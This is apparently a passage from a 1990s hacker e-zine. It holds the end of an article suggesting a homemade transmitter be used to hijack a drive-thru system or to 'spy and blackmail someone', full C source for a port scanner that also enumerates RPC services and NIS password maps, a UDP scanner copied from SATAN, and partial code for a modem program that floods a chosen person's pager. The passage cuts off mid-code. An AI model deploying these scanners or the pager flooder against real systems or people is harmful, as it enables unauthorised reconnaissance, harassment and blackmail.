   radio station and advertising for your own, or playing some hard techno.
3) If you're really good, find out what frequency McDonald's or some fast 
   food joint's drive-thru voice system works on and modify the transmitter
   so it breaks through...I'm working on this one.
4) Use it as a bug to spy and blackmail someone.

I've wasted enough time writing this bitch, so spread the knowledge, and if
you don't like it, maybe someone else will, because drawing that diagram (as
shitty as it is) took me forever!

"l8r hackerz and phreaks!....This iz WFA-Q Fuck U signing off..."

DataThief

Greetz:
Scud-O
Delcon
KeyStroke
od|phreak
KungFuFox
The members of HBS, Area66 and X-TREME
All the others I forgot because my mind blanked out.
_____________________________________________________________
[prober.c - by Scud-O version 1]

/***********************************************************************
* prober.c -- Unix Port Prober, by Scud-O for THTJ 10, released 5/1/97
************************************************************************
* NOTE: This biatch doesn't have UDP working, since well, it is
* connectionless, and that is a pain in the ass to get done right. If
* You really want UDP, code it yourself, it really shouldn't be that hard,
* But most important services run off of TCP ports, not UDP.
*************************************************************************
* compile: cc -o pscan -s pscan.c
*************************************************************************
* NOTE: for NIS listing to work right, the domain name, must be what you
*       pass as the remote host, otherwise problems are afoot.
************************************************************************/

#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <rpcsvc/yp_prot.h>
#include <rpcsvc/ypclnt.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>


#ifdef __GNU_LIBRARY__    /* this is needed for the GNU C library */
#include <getopt.h>
#else
extern int optind;
#endif


#define LOWEST_PORT 1
#define HIGHEST_PORT 8080  /* The Sky is the limit! */

#define MAJOR 1
#define MINOR 1

static char sccsid[] = "@(#) Prober v1 , for The HAVOC Technical Journal 10 5/1/97";


typedef enum {
   false,
   true
} bool;

typedef enum {
   s_none,
   s_tcp,

   s_udp,
   s_rpc,
   s_nis
} scan_t;

#ifdef __GNU_LIBRARY__
static struct option long_options[] = {
   {"tcp", 0, 0, 0},
   {"udp", 0, 0, 0},
   {"rpc", 0, 0, 0},
   {"nis", 0, 0, 0},
   {"help", 0, 0, 0},
   {"version", 0, 0, 0},
   {0,0,0,0}
};
#endif

struct {
   char    *alias;
   char    *mapname;
   bool  inuse;
} yp_maps[] = {
   {"passwd",    "passwd.byname", false},
   {"group",     "group.byname", false},
   {"networks",  "networks.byaddr", false},
   {"hosts",     "hosts.byaddr", false},
   {"protocols", "protocols.bynumber", false},
   {"services",  "services.byname", false},
   {"aliases",   "mail.aliases", false},
   {"ethers",    "ethers.byname", false},
   {NULL,        NULL, false}
};


scan_t scan_type;
char remote_host[200];
char remote_ip[20];
int low_port;
int high_port;
int key;

void print_version(s)
{
   fprintf(stderr,"%s version %d.%d\n",s,MAJOR, MINOR);
   exit(0);
}

void print_usage(s)
{


   fprintf(stderr,"usage %s: <scan type> <host> [low port] [high port]\n",s);
   fprintf(stderr,"where scan type is one of:\n");
#ifdef __GNU_LIBRARY__
   fprintf(stderr,"   --tcp, -t       - TCP port scan\n");
   fprintf(stderr,"   --udp, -u       - UDP port scan(NOT implemented)\n");
   fprintf(stderr,"   --rpc, -r       - RPC service list\n");
   fprintf(stderr,"   --nis, -n       - NIS map listing\n");
   fprintf(stderr,"   --version, -v   - Print version information\n");
   fprintf(stderr,"   --help, -h      - Print usage information\n");
#else
   fprintf(stderr,"   -t              - TCP port scan\n");
   fprintf(stderr,"   -u              - UDP port scan(NOT implemented)\n");
   fprintf(stderr,"   -r              - RPC service list\n");
   fprintf(stderr,"   -n              - NIS map listing\n");
   fprintf(stderr,"   -v              - Print version information\n");
   fprintf(stderr,"   -h              - Print usage information\n");

#endif
   fprintf(stderr,"\n");
   exit(0);
}

void get_args(n,v)
int n;
char *v[];
{
 int c;
 int opt_ind;

   scan_type = s_none;
   while (true) {
#ifdef __GNU_LIBRARY__
	 c = getopt_long(n,v,"turnhv",long_options,&opt_ind);

#else
	 c = getopt(n,v,"turnhv");
#endif
	 if (c == -1)
	    break;
	 switch(c) {
#ifdef __GNU_LIBRARY__
	  case 0:
	    opt_ind++; /* index's are one less than the scan type */
	    if (opt_ind == 5)
		  print_usage(v[0]);
	    if (opt_ind == 6)
		  print_version(v[0]);
	    scan_type = opt_ind;
	    break;
#endif

	  case 't':
	    scan_type = s_tcp;
	    break;
	  case 'u':
	    /* This doen't work, but i added it in case you wish to add it in */
	    scan_type = s_udp;
	    break;
	  case 'r':
	    scan_type = s_rpc;
	    break;
	  case 'n':
	    scan_type = s_nis;
	    break;
	  case 'v':
	    print_version(v[0]);
	    break;
	  case 'h':

	  case '?':
	    print_usage(v[0]);
	    break;
	 }
   }

   low_port = LOWEST_PORT;
   high_port = HIGHEST_PORT;

   for (opt_ind = 0;optind < n;optind++) {
	 switch(opt_ind++) {
	  case 0: /* remote host */
	    strncpy(remote_host,v[optind],199);
	    break;
	  case 1: /* low port */
	    low_port = atoi(v[optind]);

	    break;
	  case 2: /* high port */
	    high_port = atoi(v[optind]);
	    break;
	 }
   }
   if ((opt_ind == 0) || (scan_type == s_none)) {
	 fprintf(stderr,"error: you must specify a scan type and a host\n");
	 print_usage(v[0]);
   }
}
void check_args()
{
 struct hostent *host;

   host = gethostbyname(remote_host);

 if (host == NULL) {
    unsigned char a,b,c,d,n;
    char addr[5];
	 /* hmm.. perhaps it was a dotted quad entered.. */
	 n = sscanf(remote_host,"%u.%u.%u.%u",&a,&b,&c,&d);
	 if (n != 4) {
	    fprintf(stderr,"error: host '%s' not found\n",remote_host);
	    exit(1);
	 }
	 addr[0] = a;
	 addr[1] = b;
	 addr[2] = c;
	 addr[3] = d;
	 host = gethostbyaddr(addr,4,AF_INET);
	 if (host == NULL) {
	    fprintf(stderr,"error: host '%s' not found\n",remote_host);

	    exit(1);
	 }
	 sprintf(remote_ip,"%u.%u.%u.%u",a,b,c,d);
   } else {
	 sprintf(remote_ip,"%u.%u.%u.%u",
		    (unsigned char) host->h_addr_list[0][0],
		    (unsigned char) host->h_addr_list[0][1],
		    (unsigned char) host->h_addr_list[0][2],
		    (unsigned char) host->h_addr_list[0][3]);
   }
}
void print_args()
{
 static char *opt_table[] = {
    "tcp","udp","rpc","nis"
 };


   fprintf(stdout,"scanning host %s's %s ports ",remote_host,
		opt_table[scan_type-1]);
   if (scan_type < 3) {
	 fprintf(stdout,"%d through %d",LOWEST_PORT,HIGHEST_PORT);
   }
   fprintf(stdout,"\n");
}

int scan()
{
 int soc;
 struct sockaddr_in addr;
 struct servent *serv;
 int port,rc,addr_len,opt;


   if (scan_type >= 3) /* this proc only does tcp and udp */
	 return;

   for (port = LOWEST_PORT;port <= HIGHEST_PORT;port++) {

	 if (scan_type == s_tcp) {
	    soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	 } else if (scan_type == s_udp) {
	    soc = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
	 } else
	    return;

	 if (soc < 0) {
	    fprintf(stderr,"error: socket() failed\n");
	    return;
	 }

	 rc = setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));

	 addr.sin_family = AF_INET;
	 addr.sin_addr.s_addr = inet_addr(remote_ip);
	 addr.sin_port = htons(port);

	 addr_len = sizeof(addr);
	 rc = connect(soc, (struct sockaddr*) &addr, addr_len);

	 if (scan_type == s_udp) {
			 /* This currently doesnt work, its a pain in the ass to scan
			    UDP, and since no really important services run under UDP,
			    You really dont need it. */
			 printf(stderr,"\nUDP Scanning is not implemented. Do it
				    yourself!\n\n");
			 exit(1);
	 }

	 close(soc);


	 if (rc < 0)
	    continue;

	 if (scan_type == s_tcp)
	    serv = getservbyport(htons(port),"tcp");
	 else if (scan_type == s_udp)
	    serv = getservbyport(htons(port),"udp");
	 else
	    return;
	 fprintf(stdout,"port %d (%s) is running\n",port,(serv == 
NULL)?"UNKNOWN":
		    serv->s_name);
   }
}
/* The next two routines were ripped out of ypcat , but with a few changes */
int callback_proc(is,ik,ikl,iv,ivl,id)

int is;
char *ik;
int ikl;
char *iv;
int ivl;
char *id;
{
   if (is != YP_TRUE)
	 return is;
   return 0;
}

void nis_dump()
{
 int i,rc;
 char *domainname;

 char *map;
 struct ypall_callback callback;

   domainname = &remote_host[0];

   for (i = 0;yp_maps[i].mapname != NULL;i++) {
	 key = 0;
	 callback.foreach = callback_proc;
	 callback.data = NULL;
	 map = yp_maps[i].mapname;
	 rc = yp_all(domainname,map,&callback);
	 switch(rc) {
	  case 0:
	    printf("%-10.10s is available\n",yp_maps[i].alias);
	    break;
	  case YPERR_YPBIND:

	    fprintf(stderr,"error: server is not running ypbind\n");
	    exit(1);
	    break;
	  default:
	    fprintf(stderr,"error: %s\n",yperr_string(rc));
	    exit(1);
	 }
   }
}

/* this routine basically ripped from rpcinfo -p */
void rpc_scan()
{
	   struct sockaddr_in server_addr;
	   register struct hostent *hp;
	   struct pmaplist *head = NULL;

	   int socket = RPC_ANYSOCK;
	   struct timeval minutetimeout;
	   register CLIENT *client;
	   struct rpcent *rpc;

	   minutetimeout.tv_sec = 60;
	   minutetimeout.tv_usec = 0;
	   server_addr.sin_addr.s_addr = inet_addr(remote_ip);
	   server_addr.sin_family = AF_INET;
	   server_addr.sin_port = htons(111);
	   if ((client = clnttcp_create(&server_addr, PMAPPROG,
		  PMAPVERS, &socket, 50, 500)) == NULL) {
			 clnt_pcreateerror("rpcinfo: can't contact portmapper");
			 exit(1);
	   }
	   if (clnt_call(client, PMAPPROC_DUMP, xdr_void, NULL,

		  xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) {
			 fprintf(stderr, "rpcinfo: can't contact portmapper: ");
			 clnt_perror(client, "rpcinfo");
			 exit(1);
	   }
	   if (head == NULL) {
			 printf("No remote programs registered.\n");
	   } else {
			 printf("   program vers proto   port\n");
			 for (; head != NULL; head = head->pml_next) {
				    printf("%10ld%5ld",
					   head->pml_map.pm_prog,
					   head->pml_map.pm_vers);
				    if (head->pml_map.pm_prot == IPPROTO_UDP)
						  printf("%6s",  "udp");
				    else if (head->pml_map.pm_prot == IPPROTO_TCP)

						  printf("%6s", "tcp");
				    else
						  printf("%6ld",  head->pml_map.pm_prot);
				    printf("%7ld",  head->pml_map.pm_port);
				    rpc = getrpcbynumber(head->pml_map.pm_prog);
				    if (rpc)
						  printf("  %s\n", rpc->r_name);
				    else
						  printf("\n");
			 }
	   }
}

int main(argc,argv)
int argc;
char *argv[];

{
   get_args(argc,argv);
   check_args();
   print_args();

   /* this will only do tcp and udp, otherwise returns without doing 
anything */
   switch (scan_type) {
    case s_tcp:
	 scan();
	 break;
    case s_udp:
	 fprintf(stderr,"UDP port scanning is not implemented in this version\n");
	 break;
    case s_rpc:
	 rpc_scan();
    break;
    case s_nis:
	 nis_dump();
	 break;
   }
   return 0;
}

_____________________________________________________________
[ udp-scan.c Wietse Venema - from good old Satan v.1.1.1]

	   Ok, well you really want a good udp scanner and prober? well i was
looking thru the source of Satan the other day, and this popped up. Have fun
with it now..... and thank Wietse for the code, and Dan Farmer too, for his
work on Satan. ( geez, he lost his job over it, give him some credit and
thanks. )

 /*
  * udp-scan - determine available udp services
  * 
  * Author: Wietse Venema.
  */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*#include <netinet/udp.h>*/

#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include "../../include/netinet/ip_icmp_lin.h"
#include "../../include/netinet/udp_lin.h"

extern int errno;

#ifndef __STDC__
extern char *strerror();
#endif

extern char *optarg;
extern int optind;

#define offsetof(t,m)    (size_t)(&(((t *)0)->m))

#ifndef FD_SET
#include <sys/select.h>
#endif

#include "lib.h"

#define LOAD_LIMIT  100       /* default max nr of open sockets */
#define AVG_MARGIN  10        /* safety margin */

 /*
  * In order to protect ourselves against dead hosts, we first probe UDP port
  * 1. If we do not get an ICMP error (no listener or host unreachable) we
  * assume this host is dead. If we do get an ICMP error, we have an estimate
  * of the roundtrip time. The test port can be changed with the -p option.
  */
char   *test_port = "1";
int     test_portno;

#define YES     1
#define NO      0

int     verbose = 0;               /* default silent mode */
int     open_file_limit;      /* max nr of open files */

 /*
  * We attempt to send as many probes per roundtrip time as network capacity
  * permits. With UDP we must do our own retransmission and congestion
  * handling.
  */
int     hard_limit = LOAD_LIMIT;   /* max nr of open sockets */
int     soft_limit;           /* slowly-moving load limit */

struct timeval now;           /* global time after select() */
int     ports_busy;           /* number of open sockets */
int     want_err = 0;              /* show reachable/unreachable */
int     show_all = 0;              /* show all ports */

 /*
  * Information about ongoing probes is sorted by time of last transmission.
  */
struct port_info {
    RING    ring;             /* round-robin linkage */
    struct timeval last_probe;          /* time of last probe */
    int     port;             /* port number */
    int     pkts;             /* number of packets sent */
};

struct port_info *port_info = 0;
RING    active_ports;              /* active sockets list head */
RING    dead_ports;           /* dead sockets list head */
struct port_info *find_port_info();     /* retrieve port info */

 /*
  * Performance statistics. These are used to update the transmission window
  * size depending on transmission error rates.
  */
double  avg_irt = 0;               /* inter-reply arrival time */
double  avg_rtt = 0;               /* round-trip time */
double  avg_pkts = 1;              /* number of packets sent per reply */
int     probes_sent = 0;      /* probes sent */
int     probes_done = 0;      /* finished probes */
int     replies;              /* number of good single probes */
struct timeval last_reply;         /* time of last reply */

int     send_sock;            /* send probes here */
int     icmp_sock;            /* read replies here */
fd_set  icmp_sock_mask;            /* select() read mask */
static struct sockaddr_in sin;

 /*
  * Helpers...
  */

#define time_since(t) (now.tv_sec - t.tv_sec + 1e-6 * (now.tv_usec - t.tv_usec))
#define sock_age(sp) time_since(sp->last_probe)
double  average();
struct port_info *add_port();

/* main - command-line interface */

main(argc, argv)
int     argc;
char   *argv[];
{
    int     c;
    struct protoent *pe;
    char  **ports;

    progname = argv[0];
    if (geteuid())
	error("This program needs root privileges");

    open_file_limit = open_limit();

    while ((c = getopt(argc, argv, "al:p:uUv")) != EOF) {
	switch (c) {
	case 'a':
	    show_all = 1;
	    break;
	case 'l':
	    if ((hard_limit = atoi(optarg)) <= 0)
		usage("invalid load limit");
	    break;
	case 'p':
	    test_port = optarg;
	    break;
	case 'u':
	    want_err = EHOSTUNREACH;
	    break;
	case 'U':
	    want_err = ~EHOSTUNREACH;
	    break;
	case 'v':
	    verbose = 1;
	    break;
	default:
	    usage((char *) 0);
	    break;
	}
    }
    argc -= (optind - 1);
    argv += (optind - 1);
    if (argc < 3)
	usage("missing argument");

    if (hard_limit > open_file_limit - 10)
	hard_limit = open_file_limit - 10;
    soft_limit = hard_limit + 1;
    init_port_info();

    if ((pe = getprotobyname("icmp")) == 0)
	error("icmp: unknown protocol");
    if ((icmp_sock = socket(AF_INET, SOCK_RAW, pe->p_proto)) < 0)
	error("icmp socket: %m");
    FD_ZERO(&icmp_sock_mask);
    FD_SET(icmp_sock, &icmp_sock_mask);

    if ((send_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	error("socket: %m");

    /*
	* First do a test probe to see if the host is up, and to establish the
	* round-trip time. This requires that the test port is not used.
	*/
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_addr = find_addr(argv[1]);
    sin.sin_family = AF_INET;

    gettimeofday(&now, (struct timezone *) 0);
    last_reply = now;

    /*
	* Calibrate round-trip time and dead time.
	*/
    for (;;) {
	scan_ports(test_port);
	while (ports_busy > 0)
	    monitor_ports();
	if (avg_rtt)
	    break;
	sleep(1);
    }
    scan_ports(test_port);

    /*
	* Scan those ports.
	*/
    for (ports = argv + 2; *ports; ports++)
	scan_ports(*ports);

    /*
	* All ports probed, wait for replies to trickle back.
	*/
    while (ports_busy > 0)
	monitor_ports();

    return (0);
}

/* usage - explain command syntax */

usage(why)
char   *why;
{
    if (why)
	remark(why);
    error("usage: %s [-apuU] [-l load] host ports...", progname);
}

/* scan_ports - scan ranges of ports */

scan_ports(service)
char   *service;
{
    char   *cp;
    int     min_port;
    int     max_port;
    int     port;
    struct port_info *sp;

    if (service == test_port)
	test_portno = atoi(test_port);

    /*
	* Translate service argument to range of port numbers.
	*/
    if ((cp = strchr(service, '-')) != 0) {
	*cp++ = 0;
	min_port = (service[0] ? ntohs(find_port(service, "udp")) : 1);
	max_port = (cp[0] ? ntohs(find_port(cp, "udp")) : 65535);
    } else {
	min_port = max_port = ntohs(find_port(service, "udp"));
    }

    /*
	* Iterate over each port in the given range. Adjust the number of
	* simultaneous probes to the capacity of the network.
	*/
    for (port = min_port; port <= max_port; port++) {
	sp = add_port(port);
	write_port(sp);
	monitor_ports();
    }
}

/* monitor_ports - watch for socket activity */

monitor_ports()
{
    do {
	struct port_info *sp;

	/*
	 * When things become quiet, examine the port that we haven't looked
	 * at for the longest period of time.
	 */
	receive_answers();

	if (ports_busy == 0)
	    return;

	sp = (struct port_info *) ring_succ(&active_ports);
	if (sp->pkts > avg_pkts * AVG_MARGIN) {
	    report_and_drop_port(sp, 0);
	} else

	    /*
		* Strategy depends on whether transit times dominate (probe
		* multiple ports in parallel, retransmit when no reply was
		* received for at least one round-trip period) or by dead time
		* (probe one port at a time, retransmit when no reply was
		* received for some fraction of the inter-reply period).
		*/
	    if (sock_age(sp) > (avg_rtt == 0 ? 1 :
				2 * avg_rtt < avg_irt ? avg_irt / 4 :
				1.5 * avg_rtt)) {
	    write_port(sp);
	}

	/*
	 * When all ports being probed seem to be active, send a test probe
	 * to see if the host is still alive.
	 */
	if (time_since(last_reply) > 3 * (avg_rtt == 0 ? 1 :
					 avg_rtt < avg_irt ? avg_irt : avg_rtt)
	    && find_port_info(test_portno) == 0) {
	    last_reply = now;
	    write_port(add_port(test_portno));
	}
    } while (ports_busy && (ports_busy >= hard_limit
			    || ports_busy >= probes_done
			    || ports_busy >= soft_limit));
}

/* receive_answers - receive reactions to probes */

receive_answers()
{
    fd_set  read_mask;
    struct timeval waitsome;
    double  delay;
    int     answers;

    /*
	* The timeout is less than the inter-reply arrival time or we would not
	* be able to increase the load.
	*/
    delay = (2 * avg_rtt < avg_irt ? avg_irt / 3 : avg_rtt / (1 + ports_busy * 4));
    waitsome.tv_sec = delay;
    waitsome.tv_usec = (delay - waitsome.tv_sec) * 1000000;

    read_mask = icmp_sock_mask;
    if ((answers = select(icmp_sock + 1, &read_mask, (fd_set *) 0, (fd_set *) 0,
			  &waitsome)) < 0)
	error("select: %m");

    gettimeofday(&now, (struct timezone *) 0);

    /*
	* For each answer that we receive without retransmissions, update the
	* average roundtrip time.
	*/
    if (answers > 0) {
	if (FD_ISSET(icmp_sock, &read_mask))
	    receive_icmp(icmp_sock);
    }
    return (answers);
}

/* receive_icmp - receive and decode ICMP message */

receive_icmp(sock)
int     sock;
{
    union {
	char    chars[BUFSIZ];
	struct ip ip;
    }       buf;
    int     data_len;
    int     hdr_len;
    struct ip *ip;
    struct icmp *icmp;
    struct udphdr *udp;
    struct port_info *sp;

    if ((data_len = recv(sock, (char *) &buf, sizeof(buf), 0)) < 0) {
	error("error: recv: %m");
	return;
    }

    /*
	* Extract the IP header.
	*/
    ip = &buf.ip;
    if (ip->ip_p != IPPROTO_ICMP) {
	error("error: not ICMP proto (%d)", ip->ip_p);
	return;
    }

    /*
	* Extract the IP payload.
	*/
    hdr_len = ip->ip_hl << 2;
    if (data_len - hdr_len < ICMP_MINLEN) {
	remark("short ICMP packet (%d bytes)", data_len);
	return;
    }
    icmp = (struct icmp *) ((char *) ip + hdr_len);
    data_len -= hdr_len;

    if (icmp->icmp_type != ICMP_UNREACH)
	return;

    /*
	* Extract the offending IP header.
	*/
    if (data_len < offsetof(struct icmp, icmp_ip) + sizeof(icmp->icmp_ip)) {
	remark("short IP header in ICMP");
	return;
    }
    ip = &(icmp->icmp_ip);
    if (ip->ip_p != IPPROTO_UDP)
	return;
    if (ip->ip_dst.s_addr != sin.sin_addr.s_addr)
	return;

    /*
	* Extract the offending UDP header.
	*/
    hdr_len = ip->ip_hl << 2;
    udp = (struct udphdr *) ((char *) ip + hdr_len);
    data_len -= hdr_len;
    if (data_len < sizeof(struct udphdr)) {
	remark("short UDP header in ICMP");
	return;
    }

    /*
	* Process ICMP subcodes.
	*/
    switch (icmp->icmp_code) {
    case ICMP_UNREACH_NET:
	error("error: network unreachable");
	/* NOTREACHED */
    case ICMP_UNREACH_HOST:
	if (sp = find_port_info(ntohs(udp->uh_dport)))
	    process_reply(sp, EHOSTUNREACH);
	break;
    case ICMP_UNREACH_PROTOCOL:
	error("error: protocol unreachable");
	/* NOTREACHED */
    case ICMP_UNREACH_PORT:
	if (sp = find_port_info(ntohs(udp->uh_dport)))
	    process_reply(sp, ECONNREFUSED);
	break;
    }
}

/* process_reply - process reply */

process_reply(sp, err)
struct port_info *sp;
int     err;
{
    double  age = sock_age(sp);
    int     pkts = sp->pkts;
    double  irt = time_since(last_reply);

    /*
	* Don't believe everything.
	*/
    if (age > 5) {
	age = 5;
    } else if (age < 0) {
	age = 1;
    }
    if (irt > 5) {
	irt = 5;
    } else if (irt < 0) {
	irt = 1;
    }

    /*
	* We jump some hoops for calibration purposes. First we estimate the
	* round-trip time: we use this to decide when to retransmit when network
	* transit time dominates.
	* 
	* Next thing to do is to estimate the inter-reply time, in case the sender
	* has a "dead time" for ICMP replies; I have seen this happen with some
	* Cisco routers and with Solaris 2.4. The first reply will come fast;
	* subsequent probes will be ignored for a period of up to one second.
	* When this happens the retransmission period should be based on the
	* inter-reply time and not on the average round-trip time.
	*/
    last_reply = now;
    replies++;
    if (pkts == 1)
	avg_rtt = (avg_rtt == 0 ? age :         /* adopt initial rtt */
		   average(age, avg_rtt));    /* normal processing */
    avg_irt = (avg_irt == 0 ? 1 :       /* prepare for irt
						 * calibration */
		  avg_irt == 1 ? irt :        /* adopt initial irt */
		  average(irt, avg_irt));          /* normal processing */
    avg_pkts = average((double) pkts, avg_pkts);
    if (verbose)
	printf("%d:age %.3f irt %.3f pkt %d ports %2d soft %2d done %2d avrtt %.3f avpkt %.3f avirt %.3f\n",
		  sp->port, age, irt, pkts,
		  ports_busy, soft_limit,
		  probes_done, avg_rtt, avg_pkts, avg_irt);
    report_and_drop_port(sp, err);
}

/* report_and_drop_port - report what we know about this service */

report_and_drop_port(sp, err)
struct port_info *sp;
int     err;
{
    struct servent *se;

    if (probes_done == 0) {
	if (err == 0)
	    error("are we talking to a dead host or network?");
    } else if (show_all || want_err == err || (want_err < 0 && want_err != ~err)) {
	printf("%d:%s:", sp->port,
		  (se = getservbyport(htons(sp->port), "udp")) ?
		  se->s_name : "UNKNOWN");
	if (err && show_all)
	    printf("%s", strerror(err));
	printf("\n");
	fflush(stdout);
    }
    drop_port(sp);
}

/* average - quick-rise, slow-decay moving average */

double  average(new, old)
double  new;
double  old;
{
    if (new > old) {                    /* quick rise */
	return ((new + old) / 2);
    } else {                       /* slow decay */
	return (0.1 * new + 0.9 * old);
    }
}

/* add_port - say this port is being probed */

struct port_info *add_port(port)
int     port;
{
    struct port_info *sp = (struct port_info *) ring_succ(&dead_ports);

    ring_detach((RING *) sp);
    sp->port = port;
    sp->pkts = 0;
    ports_busy++;
    ring_append(&active_ports, (RING *) sp);
    return (sp);
}

/* write_port - write to port, update statistics */

write_port(sp)
struct port_info *sp;
{
    char    ch = 0;

    ring_detach((RING *) sp);
    sin.sin_port = htons(sp->port);
    sp->last_probe = now;
    sendto(send_sock, &ch, 1, 0, (struct sockaddr *) & sin, sizeof(sin));
    probes_sent++;
    sp->pkts++;
    ring_prepend(&active_ports, (RING *) sp);

    /*
	* Reduce the sending window when the first retransmission happens. Back
	* off when retransmissions dominate. Occasional retransmissons will keep
	* the load unchanged.
	*/
    if (sp->pkts > 1) {
	replies--;
	if (soft_limit > hard_limit) {
	    soft_limit = (ports_busy + 1) / 2;
	} else if (replies < 0 && avg_irt) {
	    soft_limit = 0.5 + 0.5 * (soft_limit + avg_rtt / avg_irt);
	    replies = soft_limit / 2;
	}
    }
}

/* drop_port - release port info, update statistics */

drop_port(sp)
struct port_info *sp;
{
    ports_busy--;
    probes_done++;
    ring_detach((RING *) sp);
    ring_append(&dead_ports, (RING *) sp);

    /*
	* Increase the load when a sufficient number of probes succeeded.
	* Occasional retransmissons will keep the load unchanged.
	*/
    if (replies > soft_limit) {
	replies = soft_limit / 2;
	if (soft_limit < hard_limit)
	    soft_limit++;
    }
}

/* init_port_info - initialize port info pool */

init_port_info()
{
    struct port_info *sp;

    port_info = (struct port_info *) mymalloc(hard_limit * sizeof(*port_info));
    ring_init(&active_ports);
    ring_init(&dead_ports);
    for (sp = port_info; sp < port_info + hard_limit; sp++)
	ring_append(&dead_ports, (RING *) sp);
}

/* find_port_info - lookup port info */

struct port_info *find_port_info(port)
int     port;
{
    struct port_info *sp;

    for (sp = (struct port_info *) ring_succ(&active_ports);
	 sp != (struct port_info *) & active_ports;
	 sp = (struct port_info *) ring_succ((RING *) sp))
	if (sp->port == port)
	    return (sp);
    return (0);
}


_____________________________________________________________
[ French Pager Annyoing] by memor


A little C++ (Borland3.1) program for Pager Annoying.

1--- Why that program?

You Call french pagers TATOO via an automatic number reserved for each pager.
in france , they begin by 0806xxxx mosty.. (for calling them via a foreign 
country like usa.. it is (+33) 806xxxx )

Well.. That program is using modem for paging someone u want to call u back.. 
it dials his pager, send the message (a number he will have to call back).
That program make ure modem paging him 1 time or many times.. with many times 
i mean ,u can full his pager memory with 50-60k of page.


				*** BY THE WAY ***


The dialing process for a french pager "TATOO" Motorola&France Telecom is

1/ Dial Tatoo Pager
2/ Dial Numeric Message
3/ Dial #
4/ Hang Up

Its why the algorithm of my program is :


begin:
  |
  |  ****************************
  |  *Define variables nbr,a,...*
  |  ****************************
  |      
  |  ***************************
  |  *Configure (9600bauds,8n1)* (8n1 = 8 bits per byte.. No parity and 1 Stop Bit)
  |  ***************************
  |       
  |  ********************************
  |  *Ask Time Number of Paging->nbr*
  |  ********************************  
  |
  |  **************************
  |  *His Pager Number->Number*
  |  **************************  
  |
  |
  |  **************************
  |  *Message to send->Message*
  |  **************************  
  |
  |  *******************
  |  *Send ATZ + Return*
  |  *******************
  |
  |  **************
  |  *Wait 0.5 Sec*
  |  **************
  |
  |  ********************
  |       *0 to nbr.. do that*
  |  ********************
  |    |
  |    |  ***********
  |    |  *Send ATDT*         
  |    |  ***********  
  |       |
  |    |  *************
  |    |  *Send Number*
  |    |  *************
  |       |
  |    |  ***********
  |    |  *Send ,,,,*
  |    |  ***********
  |    |
  |    |  **************
  |    |  *Send Message*
  |    |  **************
  |    |
  |    |  *************
  |    |  *Send Return*
  |    |  *************
  |    |
  |    |  **********
  |    |  *Send +++*
  |    |  **********
  |    |
  |    |  *************
  |    |  *Wait 1.5sec*
  |    |  *************
  |    |
  |    |  ********************
  |    |  *Send ATH0 + Return*
  |    |  ********************
  |
  |  *************
  |  *Continue It*
  |  *************
  |
end:  

				******************

I used here for using serial device the INT86 (in dos.h) , i could have used 
outportb .. but i felt like using int86 (slower thing), maybe next time i'll 
do it with outportb.

In that programm i used thoses modem command but first:

				*REMEMBER...*

AT are the "AT" commands.. its a prefix "AT" , issued to the modem from the 
command mode (that command mode will be automatically set when the computer 
will be turned on).

				*************

ATZ : the reset.. That at command will reset all the modem values to their 
default settings. It respond OK, you have mostly to wait 1/2 sec before 
sending other commands.

ATD: Dial.. That at command instructs the modem to the off-hook state and 
dial the number that follow it. that command can be followed by the Dial 
Modifier.

	P: for pulse dial (using pulse rotary dialing) .. not needed her AT ALL
	T: for touch tone dial I'll use THAT one.

so..ATDT.. Touch Tone Dialing.

, in a ATDT is for waiting a 2 seconds delay

ATDT 11,,2 will dial 11 , wait 4 seconds (2*2s) and will dial 2 .. all that 
in touch tone.

+++ : Set the modem to the command mode.. its an escape sequence. It needs at 
least one second pause before issuing other commands.

ATH0: Switch the hook control, instructs the modem to drop the line.. Hanging 
up.


2--- Some Programming..


	/*Including libraries*/

	#include <dos.h>         /*For using INT86*/
	#include <string.h>      /*Gets and Strlen are here*/
	#include <stdio.h>       /*Printf..Scanf...*/
	#include <conio.h>       /*For Lame Presentation*/  
	#include <stdlib.h>      /*For Fun maybe*/

	/*Define modem reseting,dialing,hangup,pause*/

	char atz[10]="ATZ\n";         /*Reset*/
	char atdt[10]="ATDT";         /*Dial Mode Touch Tone Dial*/
	char pose[10]=",,,,";         /*2sec Pause * 4*/
	char ppp[10]="+++\n";         /*Escape to Command Mode*/
	char ath[10]="ATH0\n";        /*Hey Modem!,Drop the line please*/

	/*define sub-fonctions modem configuring and Char sending*/

	void configure();        /*Define Default Modem Configuring*/
	void send(char x);       /*Define Send the Char X!*/

	/*main routine*/
	
	void main()
	{
	int a,nbr=0;        /*Define number of paging*/
	char number[128];   /*Define pager number as char*/
	char message[128];  /*Define Message to send as Char*/
	clrscr();           /*Lame presentation*/    
	configure();                       /*Call modem configuring*/
	printf("Modem configured\n 9600 8n1");            /*Lame Presentation*/
	printf("How many time do u want to page him?");   /*Same*/
	scanf("%d",&nbr);                       /*Asking number of paging*/
	fflush(stdin);                     /*For killing some bug with gets*/
	printf("What is his pager number?");              /*Lame Presentation*/
	gets(number);                           /*Catching pager number*/
	printf("What message u want to send him (finish by a # on french Tatoos pager)"); /*Lame Presentation*/
	gets(message);                     /*Catching Message to page*/
	printf("Reseting modem\n");                  /*Lame Presentation*/
		for(a=0;a<strlen(atz);a++)         /*Reseting modem*/
		send(atz[a]);                 /*Call Send Char*/
	delay(500);                         /*Wait time the modem reply 'OK' */
		for(int i=0;i<nbr;i++)                  /*Number of time it will page*/
		{
		printf("Paging him %d / %d \n",i+1,nbr+1);   /*Lame Presentation*/
			for(a=0;a<strlen(atdt);a++)             /*ATDT in progress*/
			send(atdt[a]);                /*Call Send Char*/
